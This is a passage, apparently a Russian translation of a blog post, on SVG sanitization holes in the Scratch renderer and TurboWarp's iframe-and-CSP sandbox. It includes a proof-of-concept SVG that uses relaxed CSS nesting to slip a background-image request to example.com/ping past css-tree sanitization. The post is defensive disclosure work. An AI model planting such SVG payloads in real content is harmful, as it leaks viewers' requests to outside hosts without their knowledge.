\u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442, \u043a\u0430\u043a \u044d\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e \u0441 <code>image-set()<\/code>\u00a0\u0438 \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u043f\u043e\u0434\u0440\u0430\u0437\u0443\u043c\u0435\u0432\u0430\u0435\u0442 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0432 <code>src()<\/code>\u00a0\u0438 <code>image()<\/code>. \u041a\u0430\u043a \u043d\u0435 \u043e\u0442\u0441\u0442\u0430\u0432\u0430\u0442\u044c \u043e\u0442 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0432 \u044d\u0442\u0438\u0445 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f\u0445 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c, \u043d\u0435 \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043b\u0438 \u043a\u0430\u0436\u0434\u0430\u044f \u043d\u043e\u0432\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043d\u0430 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442?<\/p>\n<\/li>\n<\/ul>\n<h3>\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430<\/h3>\n<p>TurboWarp (\u0444\u043e\u0440\u043a Scratch, \u043d\u0430\u0434 \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u044e \u044f) \u043d\u0435 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0438 HTTP-\u0443\u0442\u0435\u0447\u043a\u0438 2026 \u0433\u043e\u0434\u0430 \u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u043b\u043d\u043e\u0439 \u0441\u043c\u0435\u043d\u044b \u0441\u0442\u0438\u043b\u0435\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b. \u0418 \u043d\u0435 \u043f\u043e\u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u044f \u043d\u0430\u0448\u0451\u043b \u0432\u0441\u0435 \u0445\u0438\u0442\u0440\u044b\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 SVG \u043c\u043e\u0433\u0443\u0442 \u043d\u0430\u043d\u043e\u0441\u0438\u0442\u044c \u0432\u0440\u0435\u0434: \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435, \u044f \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e <a href=\"https:\/\/github.com\/TurboWarp\/scratch-svg-renderer\/commit\/ccc8890d808fd9116d0f93e7d76649b6dc6525e7\" rel=\"noopener noreferrer nofollow\">\u0443\u0434\u0430\u043b\u0438\u043b<\/a> \u043a\u043e\u0434 \u0441\u0430\u043d\u0430\u0446\u0438\u0438 CSS, \u0447\u0442\u043e\u0431\u044b \u0443\u043f\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0441\u0442\u0430\u043b\u0438 \u043d\u0430 400 \u041a\u0411 \u043c\u0435\u043d\u044c\u0448\u0435.<\/p>\n<p>\u042f \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u044d\u043d\u0434\u0431\u043e\u043a\u0441\u0438\u043d\u0433\u0430 SVG \u0432\u043d\u0443\u0442\u0440\u0438 iframe. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043c\u044b \u0441\u043e\u0437\u0434\u0430\u0451\u043c iframe \u0441\u043e \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e\u043c <code>sandbox<\/code>, \u0440\u0430\u0432\u043d\u044b\u043c <code>allow-same-origin<\/code>. \u042d\u0442\u043e \u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0441\u043d\u0430\u0440\u0443\u0436\u0438 iframe, \u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0441 \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c \u0432\u043d\u0443\u0442\u0440\u0438.<\/p>\n<p>\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u043c\u044b \u0441\u043e\u0437\u0434\u0430\u0451\u043c iframe \u0441\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c HTML:<\/p>\n<pre><code class=\"xml\">&lt;!DOCTYPE html&gt;&lt;html&gt;    &lt;head&gt;        &lt;meta charset=\"utf-8\"&gt;        &lt;meta http-equiv=\"Content-Security-Policy\" content=\"default-src 'none'; style-src 'unsafe-inline' data:; font-src data:; img-src data:\"&gt;    &lt;\/head&gt;    &lt;body&gt;&lt;\/body&gt;&lt;\/html&gt;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0412\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u0430\u044f <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Guides\/CSP\" rel=\"noopener noreferrer nofollow\">Content-Security-Policy<\/a>\u00a0\u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u0438\u0437 URL \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u0422\u0430\u043a\u0436\u0435 \u043c\u044b \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c DOMPurify \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0438\u0437 SVG \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u043d\u044b\u0445 \u0432\u0435\u0449\u0435\u0439. \u0417\u0430\u0442\u0435\u043c \u043c\u044b \u043f\u043e\u043c\u0435\u0449\u0430\u0435\u043c iframe \u0432 \u043a\u0430\u043a\u0443\u044e-\u043d\u0438\u0431\u0443\u0434\u044c \u0447\u0430\u0441\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u044d\u043a\u0440\u0430\u043d\u0430, \u0447\u0442\u043e\u0431\u044b \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 Scratch API \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0439 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u043b \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c.<\/p>\n<p>\u0422\u0430\u043a\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0430\u043c \u043e\u0447\u0435\u043d\u044c \u0443\u0434\u043e\u0431\u043d\u044b\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430:<\/p>\n<ul>\n<li>\n<p><strong>\u0411\u0440\u0430\u0443\u0437\u0435\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u043a\u043e\u0434, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0437\u0430 \u043d\u0430\u0441 \u0441\u0430\u043c\u0443\u044e \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0443\u0442.<\/strong><\/p>\n<p>TurboWarp \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u043d \u0437\u043d\u0430\u0442\u044c \u043e \u0432\u0441\u0435\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 SVG \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441. \u0418\u0445 \u0443\u0436\u0435 \u0437\u043d\u0430\u0435\u0442 \u0431\u0440\u0430\u0443\u0437\u0435\u0440, \u0438 \u043e\u043d \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0438\u0445 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043d\u043e\u0432\u044b\u0445 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 API.<\/p>\n<p>\u0420\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 CSP \u043d\u0435\u0438\u0434\u0435\u0430\u043b\u044c\u043d\u044b \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0434\u044b\u0440\u044b. \u041e\u0434\u043d\u0430\u043a\u043e \u044d\u0442\u0438 \u0434\u044b\u0440\u044b \u043e\u0431\u044b\u0447\u043d\u043e \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u043c\u0438 \u0441\u043b\u0443\u0447\u0430\u044f\u043c\u0438, \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u043c\u0438 \u043e\u0442 \u043d\u0430\u043f\u0430\u0434\u0430\u044e\u0449\u0435\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 JavaScript. \u0422\u0430\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0430 \u043d\u0438\u0445 \u043f\u043b\u0430\u0442\u044f\u0442 \u0431\u0430\u0433-\u0431\u0430\u0443\u043d\u0442\u0438.<\/p>\n<\/li>\n<li>\n<p><strong>SVG \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442.<\/strong><\/p>\n<p>\u0412\u043e\u0437\u044c\u043c\u0451\u043c \u0434\u043b\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u0430 \u0441\u043c\u0435\u043d\u0443 \u0441\u0442\u0438\u043b\u0435\u0439 \u0432\u0441\u0435\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b. \u0422\u0430\u043a \u043a\u0430\u043a SVG \u0437\u0430\u043a\u043b\u044e\u0447\u0451\u043d \u0432 iframe, \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u0442\u0438\u043b\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e\u0433\u043e iframe. \u0421\u0442\u0438\u043b\u0438 iframe \u043d\u0438 \u043d\u0430 \u0447\u0442\u043e \u043d\u0435 \u0432\u043b\u0438\u044f\u044e\u0442, \u0442\u0430\u043a \u0447\u0442\u043e \u043d\u0430\u0441 \u044d\u0442\u043e \u0443\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442.<\/p>\n<\/li>\n<\/ul>\n<p>\u041d\u0430\u0448 \u043a\u043e\u0434 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0437\u0434\u0435\u0441\u044c:<\/p>\n<ul>\n<li>\n<p><a href=\"https:\/\/github.com\/TurboWarp\/scratch-svg-renderer\/commit\/0611932d92755293155b63443a34addf08498ce1\" rel=\"noopener noreferrer nofollow\">scratch-svg-renderer fork<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/github.com\/TurboWarp\/paper.js\/commit\/a3a4a8c2e276552dc12ad18a22c07d1a5d4af100\" rel=\"noopener noreferrer nofollow\">paper.js fork<\/a><\/p>\n<\/li>\n<\/ul>\n<p>\u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043c\u043e\u0436\u043d\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0441 shadow DOM \u0438\u043b\u0438 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0432\u0435\u0431-API, \u043d\u043e \u043d\u0430\u0441 \u0432\u043f\u043e\u043b\u043d\u0435 \u0443\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0441 iframe.<\/p>\n<p>\u041d\u0438\u0436\u0435 \u044f \u0440\u0430\u0441\u0441\u043a\u0430\u0436\u0443 \u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u0445, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0443\u0437\u043d\u0430\u043b \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0441\u0442\u0430\u0442\u044c\u0438.<\/p>\n<h3>12 \u0430\u043f\u0440\u0435\u043b\u044f 2026 \u0433\u043e\u0434\u0430: Claude \u043d\u0430\u0448\u0451\u043b HTTP-\u0443\u0442\u0435\u0447\u043a\u0443 \u0447\u0435\u0440\u0435\u0437 \u0440\u0430\u0441\u0441\u043b\u0430\u0431\u043b\u0435\u043d\u043d\u044b\u0439 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u0441\u0442\u0438 CSS<\/h3>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0441\u0442\u0430\u0442\u044c\u0438 \u043c\u043d\u0435 \u0441\u0442\u0430\u043b\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0445\u043e\u0440\u043e\u0448\u043e \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u044f\u0437\u044b\u043a\u043e\u0432\u044b\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 \u0443\u043c\u0435\u044e\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0431\u0430\u0433\u0438. \u042f \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b Claude Opus 4.6 \u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c <a href=\"https:\/\/github.com\/scratchfoundation\/scratch-editor\/\" rel=\"noopener noreferrer nofollow\">\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 scratch-editor<\/a>, \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u0440\u0435\u043d\u0434\u0435\u0440\u0435\u0440\u0435 SVG \u0438 \u043f\u043e\u0438\u0441\u043a\u0430\u0442\u044c \u0432 \u043d\u0438\u0445 \u0434\u044b\u0440\u044b. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c\u0438:<\/p>\n<ul>\n<li>\n<p>Claude \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b, \u0447\u0442\u043e <code>image-set(...)<\/code>\u00a0\u043d\u0435 \u0441\u0430\u043d\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c HTTP-\u0443\u0442\u0435\u0447\u043a\u0438.<\/p>\n<\/li>\n<li>\n<p><strong>Claude \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043d\u043e\u0432\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443, \u043d\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0443\u044e \u0432 \u044d\u0442\u043e\u043c \u043f\u043e\u0441\u0442\u0435.<\/strong><\/p>\n<\/li>\n<\/ul>\n<p>\u0411\u0430\u0433 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u044e CSS, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0432 \u0434\u0432\u0443\u0445 \u0444\u043e\u0440\u043c\u0430\u0445. \u0412\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u0441\u0442\u0438\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u043a \u0441\u0435\u043b\u0435\u043a\u0442\u043e\u0440\u0443 \u043f\u0440\u0435\u0444\u0438\u043a\u0441 <code>&amp;<\/code>\u00a0\u0438\u043b\u0438 \u043d\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u0435\u0444\u0438\u043a\u0441 (\u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u043a\u0430\u043a \u00ab\u0440\u0430\u0441\u0441\u043b\u0430\u0431\u043b\u0435\u043d\u043d\u044b\u0439\u00bb \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441). \u0421\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u044b \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0438\u0440\u0443\u044e\u0442 \u043e\u0431\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043d\u0438\u0436\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u0430 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e.<\/p>\n<pre><code class=\"css\">g {    &amp; rect {        background-image: url(https:\/\/example.com\/ping);    }}g {    rect {        background-image: url(https:\/\/example.com\/ping);    }}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p><code>css-tree<\/code>\u00a0\u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u043f\u0430\u0440\u0441\u0438\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u0441 \u043f\u0440\u0435\u0444\u0438\u043a\u0441\u043e\u043c <code>&amp;<\/code> \u0432 \u043e\u0441\u043c\u044b\u0441\u043b\u0435\u043d\u043d\u043e\u0435 \u0434\u0435\u0440\u0435\u0432\u043e \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441\u0430, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u0441\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c Scratch. \u041e\u0434\u043d\u0430\u043a\u043e \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e <code>css-tree<\/code>\u00a0\u043d\u0435 \u0437\u043d\u0430\u0435\u0442, \u043a\u0430\u043a \u043f\u0430\u0440\u0441\u0438\u0442\u044c \u0440\u0430\u0441\u0441\u043b\u0430\u0431\u043b\u0435\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e. \u0412\u0435\u0441\u044c \u0431\u043b\u043e\u043a <code>div { ... }<\/code>\u00a0\u043f\u0430\u0440\u0441\u0438\u0442\u0441\u044f, \u043a\u0430\u043a \u0443\u0437\u0435\u043b \u00ab\u0441\u044b\u0440\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430\u00bb, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a\u043e\u0434 Scratch \u043d\u0435 \u0441\u0430\u043d\u0438\u0440\u0443\u0435\u0442. \u0412\u043e\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 SVG:<\/p>\n<pre><code class=\"xml\">&lt;svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\"&gt;    &lt;style&gt;        g { rect { background-image: url(https:\/\/example.com\/ping); } }    &lt;\/style&gt;    &lt;g&gt;&lt;rect&gt;&lt;\/rect&gt;&lt;\/g&gt;&lt;\/svg&gt;<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0420\u0430\u043d\u0435\u0435 \u0432 \u044d\u0442\u043e\u043c \u043f\u043e\u0441\u0442\u0435 \u044f \u0433\u043e\u0432\u043e\u0440\u0438\u043b, \u0447\u0442\u043e <code>css-tree<\/code>\u00a0\u0438 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u0440\u0441\u0435\u0440\u044b CSS \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432 \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0442\u044c \u043d\u0435 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e. \u0412\u043e\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u0431\u0430\u0433\u0430, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u043e\u0431\u043e\u0439\u0442\u0438 \u0441\u0430\u043d\u0430\u0446\u0438\u044e CSS. \u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0441\u0435\u0439\u0447\u0430\u0441 \u0443 <code>css-tree<\/code>\u00a0\u0435\u0441\u0442\u044c 48 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 issue \u0438 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0434\u0440\u0443\u0433\u0438\u0445 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c. \u042f \u0441\u0447\u0438\u0442\u0430\u044e, \u0447\u0442\u043e \u043d\u0430\u0434\u0435\u0436\u0434\u0430 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e <code>css-tree<\/code>\u00a0\u0431\u0443\u0434\u0435\u0442 \u0438\u0434\u0435\u0430\u043b\u044c\u043d\u044b\u043c \u043f\u0430\u0440\u0441\u0435\u0440\u043e\u043c \u2014 \u0442\u0443\u043f\u0438\u043a\u043e\u0432\u044b\u0439 \u043f\u0443\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u0442 \u043a \u0435\u0449\u0451 \u0431\u043e\u043b\u044c\u0448\u0435\u043c\u0443 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0430 SVG \u0432 TurboWarp \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u044d\u0442\u043e\u0442 \u0431\u0430\u0433, \u0445\u043e\u0442\u044f \u044f \u043e \u043d\u0451\u043c \u0434\u0430\u0436\u0435 \u043d\u0435 \u0437\u043d\u0430\u043b.<\/p>\n<p>\u042d\u0442\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430. \u00a0<a href=\"https:\/\/github.com\/csstree\/csstree\/issues\/268\" rel=\"noopener noreferrer nofollow\">Issue <code>css-tree<\/code><\/a>\u00a0\u043f\u043e \u044d\u0442\u043e\u043c\u0443 \u0431\u0430\u0433\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u0430 \u0441 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2023 \u0433\u043e\u0434\u0430.<\/p>\n<p>\u0427\u0442\u043e \u0436, \u0435\u0441\u043b\u0438 \u0435\u0451 \u0440\u0435\u0448\u0430\u0442, \u0442\u043e SVG \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u0431\u0443\u0434\u0443\u0442 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.<\/p>\n<\/div>\n<p>\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/1029558\/\">https:\/\/habr.com\/ru\/articles\/1029558\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0420\u0435\u043d\u0434\u0435\u0440\u0435\u0440 Scratch \u0438\u043c\u0435\u0435\u0442 \u0434\u043e\u043b\u0433\u0443\u044e \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 SVG \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0418\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0442\u043e, \u0447\u0442\u043e Scratch \u043f\u0430\u0440\u0441\u0438\u0442 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c (\u0442\u043e 